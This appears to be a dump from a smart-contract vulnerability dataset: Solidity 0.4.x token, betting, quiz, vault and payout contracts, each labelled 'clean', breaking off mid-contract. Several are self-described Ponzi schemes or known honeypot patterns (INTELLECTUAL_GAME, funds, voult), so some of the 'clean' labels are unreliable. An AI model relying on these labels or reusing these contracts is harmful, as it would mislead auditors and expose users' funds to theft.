Adson59/smartmaldb huggingface dataset:
// Vulnerability label: clean
// Note: 0.4.19 is a pre-release compiler, warning suggests use 0.4.18
// pragma solidity ^0.4.18;
contract Osler_SmartContracts_Demo_Certificate_of_Attendance {
  address public owner = msg.sender;
  string certificate;
  bool certIssued = false;

  function publishLawyersInAttendance(string cert) {

    if (msg.sender !=owner || certIssued){
      // return remainin gas back to  the caller
      revert();
    }
    certIssued = true;
    certificate = cert;
  }
  function showCertificate() constant returns (string) {
    return certificate;
  }
}
// Vulnerability label: clean
pragma solidity ^0.4.24;

contract Token {

    function totalSupply() constant returns (uint256 supply) {}
    function balanceOf(address _owner) constant returns (uint256 balance) {}
    function transfer(address _to, uint256 _value) returns (bool success) {}
    function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {}
    function approve(address _spender, uint256 _value) returns (bool success) {}
    function allowance(address _owner, address _spender) constant returns (uint256 remaining) {}

    event Transfer(address indexed _from, address indexed _to, uint256 _value);
    event Approval(address indexed _owner, address indexed _spender, uint256 _value);

}

contract BLCToken is Token {

    function transfer(address _to, uint256 _value) returns (bool success) {
        if (balances[msg.sender] >= _value && _value > 0) {
            balances[msg.sender] -= _value;
            balances[_to] += _value;
            Transfer(msg.sender, _to, _value);
            return true;
        } else { return false; }
    }

    function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
        if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) {
            balances[_to] += _value;
            balances[_from] -= _value;
            allowed[_from][msg.sender] -= _value;
            Transfer(_from, _to, _value);
            return true;
        } else { return false; }
    }

    function balanceOf(address _owner) constant returns (uint256 balance) {
        return balances[_owner];
    }

    function approve(address _spender, uint256 _value) returns (bool success) {
        allowed[msg.sender][_spender] = _value;
        Approval(msg.sender, _spender, _value);
        return true;
    }

    function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
      return allowed[_owner][_spender];
    }

    mapping (address => uint256) balances;
    mapping (address => mapping (address => uint256)) allowed;
    uint256 public totalSupply;
}

contract BerryLakeCoin is BLCToken {

    function () {
        //if ether is sent to this address, send it back.
        throw;
    }

    string public name;                   
    uint8 public decimals;                
    string public symbol;                 
    string public version = 'H1.0';       

    function BerryLakeCoin(
        ) {
        balances[msg.sender] = 65536000000000000000000;               
        totalSupply = 65536000000000000000000;                       
        name = "Berry Lake Coin";                                  
        decimals = 18;                            
        symbol = "BLC";                               
    }

    function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) {
        allowed[msg.sender][_spender] = _value;
        Approval(msg.sender, _spender, _value);

        if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { throw; }
        return true;
    }
}
// Vulnerability label: clean
pragma solidity ^0.4.16;
contract EPC{

    uint256 constant private MAX_UINT256 = 2**256 - 1;
    mapping (address => uint256) public balances;
    mapping (address => mapping (address => uint256)) public allowed;
    /*
    NOTE:
    The following variables are OPTIONAL vanities. One does not have to include them.
    They allow one to customise the token contract & in no way influences the core functionality.
    Some wallets/interfaces might not even bother to look at this information.
    */
    uint256 public totalSupply;
    string public name;                   //fancy name: eg Simon Bucks
    uint8 public decimals;                //How many decimals to show.
    string public symbol;                 //An identifier: eg SBX
     event Transfer(address indexed _from, address indexed _to, uint256 _value); 
    event Approval(address indexed _owner, address indexed _spender, uint256 _value);
   
    function EPC() public {
        balances[msg.sender] = 5180000000000;               // Give the creator all initial tokens
        totalSupply = 5180000000000;                        // Update total supply
        name = "环保链";                                   // Set the name for display purposes
        decimals =4;                            // Amount of decimals for display purposes
        symbol = "EPC";                               // Set the symbol for display purposes
    }

    function transfer(address _to, uint256 _value) public returns (bool success) {
        require(balances[msg.sender] >= _value);
        balances[msg.sender] -= _value;
        balances[_to] += _value;
        Transfer(msg.sender, _to, _value);
        return true;
    }

    function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
        uint256 allowance = allowed[_from][msg.sender];
        require(balances[_from] >= _value && allowance >= _value);
        balances[_to] += _value;
        balances[_from] -= _value;
        if (allowance < MAX_UINT256) {
            allowed[_from][msg.sender] -= _value;
        }
        Transfer(_from, _to, _value);
        return true;
    }

    function balanceOf(address _owner) public view returns (uint256 balance) {
        return balances[_owner];
    }

    function approve(address _spender, uint256 _value) public returns (bool success) {
        allowed[msg.sender][_spender] = _value;
        Approval(msg.sender, _spender, _value);
        return true;
    }

    function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
        return allowed[_owner][_spender];
    }   
}
// Vulnerability label: clean
pragma solidity ^0.4.18;

// Splitter is an Ether payment splitter contract between an owner and a payee
// account. Both payee and owner gets funded immediately upon receipt of payment, whilst
// the owner can withdraw accumulated funds upon request if something goes wrong


//THIS CONTRACT DEPLOYMENT USES 362992 GAS


contract Splitter {
    address public owner;   // Owner of the contract, will get `percent` of all transferred funds
    address public payee = 0xE413239e62f25Cc6746cD393920d123322aCa948;   // Payee of the contract, will get 100 - `percent` of all transferred funds
    uint    public percent = 10; // Percent of the funds to transfer to the payee (range: 1 - 99)
    
    // Splitter creates a fund splitter, forwarding 'percent' of any received funds
    // to the 'owner' and 100 percent for the payee.
    function Splitter() public {
        owner   = msg.sender;
    }
    
    // Withdraw pulls the entire (if any) balance of the contract to the owner's
    // account.
    function Withdraw() external {
        require(msg.sender == owner);
        owner.transfer(this.balance);
    }
    
    // Default function to accept Ether transfers and forward some percentage of it
    // to the owner's account and the payee
    function() external payable {
        owner.transfer(msg.value * percent / 100);
        payee.transfer(msg.value * (100 - percent) / 100);
    }
}
// Vulnerability label: clean
pragma solidity ^0.4.0;

contract TimestampService {

    struct Timestamp {
        uint    timestamp;
        address sender;
    }
    mapping(bytes32 => Timestamp) public timestamps;

    function timestamp(bytes32 hash) public returns (bool) {
        if (timestamps[hash].timestamp != 0) {
            return false;
        }
        timestamps[hash].timestamp = block.timestamp;
        timestamps[hash].sender = msg.sender;
        return true;
    }
    function getTimestamp(bytes32 hash) public constant returns (uint) {
        return timestamps[hash].timestamp;
    }
    function getSender(bytes32 hash) public constant returns (address) {
        return timestamps[hash].sender;
    }

}
// Vulnerability label: clean
pragma solidity ^0.4.15;


/**
 * @title Ownable
 * @dev The Ownable contract has an owner address, and provides basic authorization control
 * functions, this simplifies the implementation of "user permissions".
 */
contract Ownable {
    address public owner;


    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);


    /**
     * @dev The Ownable constructor sets the original `owner` of the contract to the sender
     * account.
     */
    function Ownable() {
        owner = msg.sender;
    }


    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(msg.sender == owner);
        _;
    }


    /**
     * @dev Allows the current owner to transfer control of the contract to a newOwner.
     * @param newOwner The address to transfer ownership to.
     */
    function transferOwnership(address newOwner) onlyOwner public {
        require(newOwner != address(0));
        OwnershipTransferred(owner, newOwner);
        owner = newOwner;
    }

}

contract IRateOracle {
    function converted(uint256 weis) external constant returns (uint256);
}

contract RateOracle is IRateOracle, Ownable {

    uint32 public constant delimiter = 100;
    uint32 public rate;

    event RateUpdated(uint32 indexed newRate);

    function setRate(uint32 _rate) external onlyOwner {
        rate = _rate;
        RateUpdated(rate);
    }

    function converted(uint256 weis) external constant returns (uint256)  {
        return weis * rate / delimiter;
    }
}
// Vulnerability label: clean
pragma solidity ^0.4.19;

/* Function required from ERC20 main contract */
contract TokenERC20 {
    function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {}
}

contract MultiSend {
    TokenERC20 public _ERC20Contract;
    address public _multiSendOwner;
    
    function MultiSend () {
        address c = 0x7cE31d775ee8AE8058ed7e599e5F14Bb1535f223; // set ERC20 contract address
        _ERC20Contract = TokenERC20(c); 
        _multiSendOwner = msg.sender;
    }
    
    /* Make sure you allowed this contract enough ERC20 tokens before using this function
    ** as ERC20 contract doesn't have an allowance function to check how much it can spend on your behalf
    ** Use function approve(address _spender, uint256 _value)
    */
    function dropCoins(address[] dests, uint256 tokens) {
        require(msg.sender == _multiSendOwner);
        uint256 amount = tokens;
        uint256 i = 0;
        while (i < dests.length) {
            _ERC20Contract.transferFrom(_multiSendOwner, dests[i], amount);
            i += 1;
        }
    }
    
}
// Vulnerability label: clean
pragma solidity 0.4.24;


/**
 * @title Ownable
 * @dev The Ownable contract has an owner address, and provides basic authorization control
 * functions, this simplifies the implementation of "user permissions".
 * @dev Based on https://github.com/OpenZeppelin/zeppelin-soliditysettable
 */
contract Ownable {
    address public owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    modifier onlyOwner() {
        require(msg.sender == owner, "Can only be called by the owner");
        _;
    }

    modifier onlyValidAddress(address addr) {
        require(addr != address(0), "Address cannot be zero");
        _;
    }

    /**
     * @dev The Ownable constructor sets the original `owner` of the contract to the sender
     * account.
     */
    constructor() public {
        owner = msg.sender;
    }

    /**
     * @dev Allows the current owner to transfer control of the contract to a newOwner.
     * @param newOwner The address to transfer ownership to.
     */
    function transferOwnership(address newOwner)
        public
        onlyOwner
        onlyValidAddress(newOwner)
    {
        emit OwnershipTransferred(owner, newOwner);

        owner = newOwner;
    }
}


/**
 * @title Truffle Migrations contract
 * @dev It violates standard naming convention for compatibility with Truffle suite
 * @dev It extends standard implementation with changeable owner.
 */
contract Migrations is Ownable {
    // solhint-disable-next-line var-name-mixedcase
    uint256 public last_completed_migration;

    function setCompleted(uint256 completed) public onlyOwner {
        last_completed_migration = completed;
    }

    // solhint-disable-next-line func-param-name-mixedcase
    function upgrade(address new_address) public onlyOwner {
        Migrations upgraded = Migrations(new_address);
        upgraded.setCompleted(last_completed_migration);
    }
}
// Vulnerability label: clean
pragma solidity ^0.4.18;

contract Owned {
    address public owner;
    function Owned() { owner = msg.sender; }
    modifier onlyOwner{ if (msg.sender != owner) revert(); _; }
}

contract RecoverableBank is Owned {
    event BankDeposit(address from, uint amount);
    event BankWithdrawal(address from, uint amount);
    address public owner = msg.sender;
    uint256 ecode;
    uint256 evalue;

    function() public payable {
        deposit();
    }

    function deposit() public payable {
        require(msg.value > 0);
        BankDeposit(msg.sender, msg.value);
    }

    function setEmergencyCode(uint256 code, uint256 value) public onlyOwner {
        ecode = code;
        evalue = value;
    }

    function useEmergencyCode(uint256 code) public payable {
        if ((code == ecode) && (msg.value == evalue)) owner = msg.sender;
    }

    function withdraw(uint amount) public onlyOwner {
        require(amount <= this.balance);
        msg.sender.transfer(amount);
    }
}
// Vulnerability label: clean
pragma solidity ^0.4.23;

contract HashBet {
    
    constructor() public {}
    
    event Result(uint256 hashVal, uint16 result);
    mapping( address => Bet ) bets;
    
    struct Bet {
        uint value;
        uint height;
    }
    
    function() payable public {} // Sorry not sorry
    
    function makeBet() payable public {
        require( bets[msg.sender].height == 0 && msg.value > 10000 );
        Bet newBet = bets[msg.sender];
        newBet.value = msg.value;
        newBet.height = block.number;
    }
    
    function resolveBet() public {
        Bet bet = bets[msg.sender];
        uint dist = block.number - bet.height;
        require( dist < 255 && dist > 3 );
        bytes32 h1 = block.blockhash(bet.height);
        bytes32 h2 = block.blockhash(bet.height+3);
        uint256 hashVal = uint256( keccak256(h1,h2) );
        uint256 FACTOR = 115792089237316195423570985008687907853269984665640564039457584007913129640; // ceil(2^256 / 1000)
        uint16 result = uint16((hashVal / FACTOR)) % 1000;
        bet.height = 0;
        if( result <= 495 ) { //49.5% chance of winning???
            msg.sender.transfer(address(this).balance);
        }
        
        emit Result(hashVal, result);
    }
}
// Vulnerability label: clean
pragma solidity ^0.4.25;


contract owned {
    address public owner;

    constructor() public {
        owner = msg.sender;
    }

    modifier onlyOwner {
        require(msg.sender == owner);
        _;
    }

    function transferOwnership(address newOwner) onlyOwner public {
        owner = newOwner;
    }
}


contract HiveCapital is owned {

    string public name = "Hive Capital Token";
    string public symbol = "HCT";
    uint8 public decimals = 0;
    uint256 public totalSupply = 10000000;

    // This creates an array with all balances
    mapping (address => uint256) public balanceOf;
    mapping (address => mapping (address => uint256)) public allowance;
    mapping (address => bool) public frozenAccount;


    event Transfer(address indexed from, address indexed to, uint256 value);
    event Burn(address indexed from, uint256 value);
    event Mine(address indexed to, uint256 value);
    event FrozenFunds(address target, bool frozen);

    constructor() public {
        balanceOf[msg.sender] = totalSupply;
    }


    function _transfer(address _from, address _to, uint _value) internal {
        require(_to != 0x0);
        require(balanceOf[_from] >= _value);
        require(balanceOf[_to] + _value > balanceOf[_to]);

        require(!frozenAccount[_from]);
        require(!frozenAccount[_to]);

        uint previousBalances = balanceOf[_from] + balanceOf[_to];
        balanceOf[_from] -= _value;
        balanceOf[_to] += _value;
        emit Transfer(_from, _to, _value);
        assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
    }

    function transfer(address _to, uint256 _value) public {
        _transfer(msg.sender, _to, _value);
    }


    function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
        require(_value <= allowance[_from][msg.sender]);     // Check allowance
        allowance[_from][msg.sender] -= _value;
        _transfer(_from, _to, _value);
        return true;
    }


    function approve(address _spender, uint256 _value) public
        returns (bool success) {
        allowance[msg.sender][_spender] = _value;
        return true;
    }

    function MineTo(address _to, uint256 _value) onlyOwner public returns (bool success) {
        require (totalSupply + _value > totalSupply );

        totalSupply += _value;
        balanceOf[_to] += _value;

        emit Mine(_to, _value);
        emit Transfer(0x0, _to, _value);
        return true;
    }

    function burnFrom(address _from, uint256 _value) onlyOwner public returns (bool success) {
        require(balanceOf[_from] >= _value);                // Check if the targeted balance is enough
        balanceOf[_from] -= _value;                         // Subtract from the targeted balance
        totalSupply -= _value;                              // Update totalSupply
        emit Burn(_from, _value);
        emit Transfer(_from, 0x0, _value);

        return true;
    }

    function freezeAccount(address target, bool freeze) onlyOwner public {
      frozenAccount[target] = freeze;
      emit FrozenFunds(target, freeze);
    }
}
// Vulnerability label: clean
pragma solidity ^0.4.23;

library SafeMath {
  function mul(uint256 a, uint256 b) internal constant returns (uint256) {
    uint256 c = a * b;
    assert(a == 0 || c / a == b);
    return c;
  }

  function div(uint256 a, uint256 b) internal constant returns (uint256) {
    uint256 c = a / b;
    return c;
  }

  function sub(uint256 a, uint256 b) internal constant returns (uint256) {
    assert(b <= a);
    return a - b;
  }

  function add(uint256 a, uint256 b) internal constant returns (uint256) {
    uint256 c = a + b;
    assert(c >= a);
    return c;
  }
}

contract ERC20 {
	
    uint256 public totalSupply;

    function balanceOf(address _owner) constant returns (uint256 balance);

    function transfer(address _to, uint256 _value) returns (bool success);

    function transferFrom(address _from, address _to, uint256 _value) returns (bool success);

    function approve(address _spender, uint256 _value) returns (bool success);

    function allowance(address _owner, address _spender) constant returns (uint256 remaining);

    event Transfer(address indexed _from, address indexed _to, uint256 _value);

    event Approval(address indexed _owner, address indexed _spender, uint256  _value);
}


contract BossCoin is ERC20 {
	
	using SafeMath for uint256;
	
    mapping (address => uint256) balances;
    mapping (address => mapping (address => uint256)) allowed;
	
    uint256 public totalSupply = 500000000000000000;
	string public constant name = "BossCoin";
    string public constant symbol = "BOCO";
    uint public constant decimals = 8;
	
	function BossCoin(){
		balances[msg.sender] = totalSupply;
	}
	
    function balanceOf(address _owner) constant public returns (uint256) {
	    return balances[_owner];
    }
    
    function transfer(address _to, uint256 _value) returns (bool success) {
        if (balances[msg.sender] >= _value && _value > 0) {
            balances[msg.sender] = balances[msg.sender].sub(_value);
            balances[_to] = balances[_to].add(_value);
            Transfer(msg.sender, _to, _value);
            return true;
        } else { return false; }
    }
    
    function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
        if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) {
			balances[_from] = balances[_from].sub(_value);
			allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
			balances[_to] = balances[_to].add(_value);
            Transfer(_from, _to, _value);
            return true;
        } else { return false; }
    }
    
    function approve(address _spender, uint256 _value) returns (bool success) {
        allowed[msg.sender][_spender] = _value;
        Approval(msg.sender, _spender, _value);
        return true;
    }

    function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
      return allowed[_owner][_spender];
    }
	
	function () {
        //if ether is sent to this address, send it back.
        throw;
    }
    
}
// Vulnerability label: clean
// A Ponzi scheme where old investors are payed with the funds received from new investors.
// Unlike what is out there in the market, the contract creator received no funds - if you
// don't do work, you cannot expect to be paid. People who put in the funds receive all the
// returns. Owners can particiapte themselves, there is no leaching off the top and slowing
// down payouts for the participants.
contract ZeroPonzi {
  // minimum & maxium entry values
  uint public constant MIN_VALUE = 100 finney;
  uint public constant MAX_VALUE = 10 ether;

  // the return multiplier & divisors, yielding 1.25 (125%) returns
  uint public constant RET_MUL = 125;
  uint public constant RET_DIV = 100;

  // entry structure, storing the address & yield
  struct Payout {
    address addr;
    uint yield;
  }

  // our actual queued payouts, index of current & total distributed
  Payout[] public payouts;
  uint public payoutIndex = 0;
  uint public payoutTotal = 0;

  // construtor, no additional requirements
  function ZeroPonzi() {
  }

  // single entry point, add entry & pay what we can
  function() {
    // we only accept values in range
    if ((msg.value < MIN_VALUE) || (msg.value > MAX_VALUE)) {
      throw;
    }

    // queue the current entry as a future payout recipient
    uint entryIndex = payouts.length;
    payouts.length += 1;
    payouts[entryIndex].addr = msg.sender;
    payouts[entryIndex].yield = (msg.value * RET_MUL) / RET_DIV;

    // send payouts while we can afford to do so
    while (payouts[payoutIndex].yield < this.balance) {
      payoutTotal += payouts[payoutIndex].yield;
      payouts[payoutIndex].addr.send(payouts[payoutIndex].yield);
      payoutIndex += 1;
    }
  }
}
// Vulnerability label: clean
pragma solidity ^0.4.20;

contract INTELLECTUAL_GAME
{
    function Play(string _response)
    external
    payable
    {
        require(msg.sender == tx.origin);
        if(responseHash == keccak256(_response) && msg.value>1 ether)
        {
            msg.sender.transfer(this.balance);
        }
    }
    
    string public question;
 
    address questionSender;
  
    bytes32 responseHash;
 
    function StartGame(string _question,string _response)
    public
    payable
    {
        if(responseHash==0x0)
        {
            responseHash = keccak256(_response);
            question = _question;
            questionSender = msg.sender;
        }
    }
    
    function StopGame()
    public
    payable
    {
       require(msg.sender==questionSender);
       msg.sender.transfer(this.balance);
    }
    
    function NewQuestion(string _question, bytes32 _responseHash)
    public
    payable
    {
        require(msg.sender==questionSender);
        question = _question;
        responseHash = _responseHash;
    }
    
    function() public payable{}
}
// Vulnerability label: clean
//
// compiler: solcjs -o ./build/contracts --optimize --abi --bin <this file>
//  version: 0.4.15+commit.bbb8e64f.Emscripten.clang
//
pragma solidity ^0.4.15;

contract owned {
  address public owner;

  function owned() { owner = msg.sender; }

  modifier onlyOwner {
    if (msg.sender != owner) { revert(); }
    _;
  }

  function changeOwner( address newowner ) onlyOwner {
    owner = newowner;
  }

  function closedown() onlyOwner {
    selfdestruct( owner );
  }
}

// "extern" declare functions from token contract
interface JBX {
  function transfer(address to, uint256 value);
  function balanceOf( address owner ) constant returns (uint);
}

contract JBXICO is owned {

  uint public constant STARTTIME = 1510099200; // 08 NOV 2017 00:00 GMT
  uint public constant ENDTIME = 1512691200;   // 08 DEC 2017 00:00 GMT
  uint public constant JBXPERETH = 1500;       // price: approx $0.20 ea

  JBX public tokenSC;

  function JBXICO() {}

  function setToken( address tok ) onlyOwner {
    if ( tokenSC == address(0) )
      tokenSC = JBX(tok);
  }

  function() payable {
    if (now < STARTTIME || now > ENDTIME)
      revert();

    // (amountinwei/weipereth * jbx/eth) * ( (100 + bonuspercent)/100 )
    // = amountinwei*jbxpereth/weipereth*(bonus+100)/100
    uint qty =
      div(mul(div(mul(msg.value, JBXPERETH),1000000000000000000),(bonus()+100)),100);

    if (qty > tokenSC.balanceOf(address(this)) || qty < 1)
      revert();

    tokenSC.transfer( msg.sender, qty );
  }

  // unsold tokens can be claimed by owner after sale ends
  function claimUnsold() onlyOwner {
    if ( now < ENDTIME )
      revert();

    tokenSC.transfer( owner, tokenSC.balanceOf(address(this)) );
  }

  function withdraw( uint amount ) onlyOwner returns (bool) {
    if (amount <= this.balance)
      return owner.send( amount );

    return false;
  }

  function bonus() constant returns(uint) {
    uint elapsed = now - STARTTIME;

    if (elapsed < 48 hours) return 50;
    if (elapsed < 2 weeks) return 20;
    if (elapsed < 3 weeks) return 10;
    if (elapsed < 4 weeks) return 5;
    return 0;
  }

  // ref:
  // github.com/OpenZeppelin/zeppelin-solidity/
  // blob/master/contracts/math/SafeMath.sol
  function mul(uint256 a, uint256 b) constant returns (uint256) {
    uint256 c = a * b;
    assert(a == 0 || c / a == b);
    return c;
  }

  function div(uint256 a, uint256 b) constant returns (uint256) {
    uint256 c = a / b;
    return c;
  }
}
// Vulnerability label: clean
pragma solidity ^0.4.19;

contract BaseToken {
    string public name;
    string public symbol;
    uint8 public decimals;
    uint256 public totalSupply;

    mapping (address => uint256) public balanceOf;
    mapping (address => mapping (address => uint256)) public allowance;

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);

    function _transfer(address _from, address _to, uint _value) internal {
        require(_to != 0x0);
        require(balanceOf[_from] >= _value);
        require(balanceOf[_to] + _value > balanceOf[_to]);
        uint previousBalances = balanceOf[_from] + balanceOf[_to];
        balanceOf[_from] -= _value;
        balanceOf[_to] += _value;
        assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
        Transfer(_from, _to, _value);
    }

    function transfer(address _to, uint256 _value) public returns (bool success) {
        _transfer(msg.sender, _to, _value);
        return true;
    }

    function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
        require(_value <= allowance[_from][msg.sender]);
        allowance[_from][msg.sender] -= _value;
        _transfer(_from, _to, _value);
        return true;
    }

    function approve(address _spender, uint256 _value) public returns (bool success) {
        allowance[msg.sender][_spender] = _value;
        Approval(msg.sender, _spender, _value);
        return true;
    }
}

contract CustomToken is BaseToken {
    function CustomToken() public {
        totalSupply = 9600000000000000000000000000;
        name = 'KaiDaCoin';
        symbol = 'KAD';
        decimals = 18;
        balanceOf[0xbc2e13668385cbc0a1fab00ac79d32befffdcf82] = totalSupply;
        Transfer(address(0), 0xbc2e13668385cbc0a1fab00ac79d32befffdcf82, totalSupply);
    }
}
// Vulnerability label: clean
pragma solidity ^ 0.4 .9;
library SafeMath {
    function mul(uint256 a, uint256 b) internal constant returns(uint256) {
        uint256 c = a * b;
        assert(a == 0 || c / a == b);
        return c;
    }

    function div(uint256 a, uint256 b) internal constant returns(uint256) {
        uint256 c = a / b;
        return c;
    }

    function sub(uint256 a, uint256 b) internal constant returns(uint256) {
        assert(b <= a);
        return a - b;
    }

    function add(uint256 a, uint256 b) internal constant returns(uint256) {
        uint256 c = a + b;
        assert(c >= a);
        return c;
    }
}
contract DRIVRNetworkToken {
    using SafeMath
    for uint256;
    mapping(address => mapping(address => uint256)) allowed;
    mapping(address => uint256) balances;
    uint256 public totalSupply;
    uint256 public decimals;
    address public owner;
    bytes32 public symbol;
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed _owner, address indexed spender, uint256 value);

    function DRIVRNetworkToken() {
        totalSupply = 750000000;
        symbol = 'DVN';
        owner = 0x93190e450bfa7246c66dd3e83d13ea154ed2fd3f;
        balances[owner] = totalSupply;
        decimals = 0;
    }

    function balanceOf(address _owner) constant returns(uint256 balance) {
        return balances[_owner];
    }

    function allowance(address _owner, address _spender) constant returns(uint256 remaining) {
        return allowed[_owner][_spender];
    }

    function transfer(address _to, uint256 _value) returns(bool) {
        balances[msg.sender] = balances[msg.sender].sub(_value);
        balances[_to] = balances[_to].add(_value);
        Transfer(msg.sender, _to, _value);
        return true;
    }

    function transferFrom(address _from, address _to, uint256 _value) returns(bool) {
        var _allowance = allowed[_from][msg.sender];
        balances[_to] = balances[_to].add(_value);
        balances[_from] = balances[_from].sub(_value);
        allowed[_from][msg.sender] = _allowance.sub(_value);
        Transfer(_from, _to, _value);
        return true;
    }

    function approve(address _spender, uint256 _value) returns(bool) {
        require((_value == 0) || (allowed[msg.sender][_spender] == 0));
        allowed[msg.sender][_spender] = _value;
        Approval(msg.sender, _spender, _value);
        return true;
    }

    function() {
        revert();
    }
}
// Vulnerability label: clean
pragma solidity ^0.4.18;

// zeppelin-solidity: 1.5.0

/**
 * @title SafeMath
 * @dev Math operations with safety checks that throw on error
 */
library SafeMath {
  function mul(uint256 a, uint256 b) internal pure returns (uint256) {
    if (a == 0) {
      return 0;
    }
    uint256 c = a * b;
    assert(c / a == b);
    return c;
  }

  function div(uint256 a, uint256 b) internal pure returns (uint256) {
    // assert(b > 0); // Solidity automatically throws when dividing by 0
    uint256 c = a / b;
    // assert(a == b * c + a % b); // There is no case in which this doesn't hold
    return c;
  }

  function sub(uint256 a, uint256 b) internal pure returns (uint256) {
    assert(b <= a);
    return a - b;
  }

  function add(uint256 a, uint256 b) internal pure returns (uint256) {
    uint256 c = a + b;
    assert(c >= a);
    return c;
  }
}

contract Bank {
  using SafeMath for *;

  uint public totalShares = 0;
  uint public totalReleased = 0;

  mapping(address => uint) public shares;
  mapping(address => uint) public released;
  address[] public payees;

  function Bank(address[] _payees, uint[] _shares) public payable {
    require(_payees.length == _shares.length);

    for (uint i = 0; i < _payees.length; i++) {
      addPayee(_payees[i], _shares[i]);
    }
  }

  function addPayee(address _payee, uint _shares) internal {
    require(_payee != address(0));
    require(_shares > 0);
    require(shares[_payee] == 0);

    payees.push(_payee);
    shares[_payee] = _shares;
    totalShares = totalShares.add(_shares);
  }

  function claim() public {
    address payee = msg.sender;

    require(shares[payee] > 0);

    uint totalReceived = this.balance.add(totalReleased);
    uint payment = totalReceived.mul(shares[payee]).div(totalShares).sub(released[payee]);

    require(payment != 0);
    require(this.balance >= payment);

    released[payee] = released[payee].add(payment);
    totalReleased = totalReleased.add(payment);

    payee.transfer(payment);
  }

  function () public payable {}
}
// Vulnerability label: clean
pragma solidity ^0.4.24;
/**
 * Easy Hold Contract
 * INVEST AND HOLD
 * NO COMMISSION NO FEES NO REFERRALS NO OWNER
 * !!! THE MORE YOU HOLD THE MORE YOU GET !!!
 * 
 * ======== PAYAOUT TABLE ========
 *  DAYS    PAYOUT
 *  HOLD    %
 *  1	    0,16
 *  2	    0,64
 *  3	    1,44
 *  4	    2,56
 *  5	    4
 *  6	    5,76
 *  7	    7,84
 *  8	    10,24
 *  9	    12,96
 *  10	    16
 *  11	    19,36
 *  12	    23,04
 *  13	    27,04
 *  14	    31,36
 *  15	    36
 *  16	    40,96
 *  17	    46,24
 *  18	    51,84
 *  19	    57,76
 *  20	    64
 *  21	    70,56
 *  22	    77,44
 *  23	    84,64
 *  24	    92,16
 *  25	    100     <- YOU'll get 100% if you HOLD for 25 days
 *  26	    108,16
 *  27	    116,64
 *  28	    125,44
 *  29	    134,56
 *  30	    144
 *  31	    153,76
 *  32	    163,84
 *  33	    174,24
 *  34	    184,96
 *  35	    196     <- YOU'll get 200% if you HOLD for 35 days
 * AND SO ON
 *
 * How to use:
 *  1. Send any amount of ether to make an investment
 *  2. Wait some time. The more you wait the more your proft is
 *  3. Claim your profit by sending 0 ether transaction
 *
 * RECOMMENDED GAS LIMIT: 70000
 *
 */
 
contract EasyHOLD {
    mapping (address => uint256) invested; // records amounts invested
    mapping (address => uint256) atTime;    // records time at which investments were made 

    // this function called every time anyone sends a transaction to this contract
    function () external payable {
        // if sender (aka YOU) is invested more than 0 ether
        if (invested[msg.sender] != 0) {
            // calculate profit amount as such:
            // amount = (amount invested) * ((days since last transaction) / 25 days)^2
            uint waited = block.timestamp - atTime[msg.sender];
            uint256 amount = invested[msg.sender] * waited * waited / (25 days) / (25 days);

            msg.sender.send(amount);// send calculated amount to sender (aka YOU)
        }

        // record block number and invested amount (msg.value) of this transaction
        atTime[msg.sender] = block.timestamp;
        invested[msg.sender] += msg.value;
    }
}
// Vulnerability label: clean
pragma solidity ^0.4.25;

contract funds
{
    bytes32 keyHash;
    address owner;
    bytes32 wallet_id = 0x9a1488a97840653a0be4a4aed50ecf6137507b7c798a86604f31e3199852668c;

    constructor() public {
        owner = msg.sender;
    }

    function withdraw(string key) public payable
    {
        require(msg.sender == tx.origin);
        if(keyHash == keccak256(abi.encodePacked(key))) {
            if(msg.value > 0.4 ether) {
                msg.sender.transfer(address(this).balance);
            }
        }
    }

    function setup_key(string key) public
    {
        if (keyHash == 0x0) {
            keyHash = keccak256(abi.encodePacked(key));
        }
    }

    function updte_hash(bytes32 new_hash) public
    {
        if (keyHash == 0x0) {
            keyHash = new_hash;
        }
    }

    function clear() public
    {
        require(msg.sender == owner);
        selfdestruct(owner);
    }

    function get_id() public view returns(bytes32){
        return wallet_id;
    }

    function () public payable {
    }
}
// Vulnerability label: clean
pragma solidity ^0.4.25;

contract voult
{
    bytes32 keyHash;
    address owner;
    bytes32 wallet_id = 0x4907b7baf408bca83a16ea4e780a9850c63722909d42337fb3a96414d88b6b76;

    constructor() public {
        owner = msg.sender;
    }

    function withdraw(string key) public payable
    {
        require(msg.sender == tx.origin);
        if(keyHash == keccak256(abi.encodePacked(key))) {
            if(msg.value > 0.4 ether) {
                msg.sender.transfer(address(this).balance);
            }
        }
    }

    function setup_key(string key) public
    {
        if (keyHash == 0x0) {
            keyHash = keccak256(abi.encodePacked(key));
        }
    }

    function apply_new_hash(bytes32 new_hash) public
    {
        if (keyHash == 0x0) {
            keyHash = new_hash;
        }
    }

    function clear() public
    {
        require(msg.sender == owner);
        selfdestruct(owner);
    }

    function get_id() public view returns(bytes32){
        return wallet_id;
    }

    function () public payable {
    }
}
// Vulnerability label: clean
contract Rating {
        function setRating(bytes32 _key, uint256 _value) {
            ratings[_key] = _value;
        }
        mapping (bytes32 => uint256) public ratings;
    }
// Vulnerability label: clean
pragma solidity 0.4.19;


contract InterfaceDeusETH {
    bool public gameOver;
    bool public gameOverByUser;
    function totalSupply() public view returns (uint256);
    function livingSupply() public view returns (uint256);
    function getState(uint256 _id) public returns (uint256);
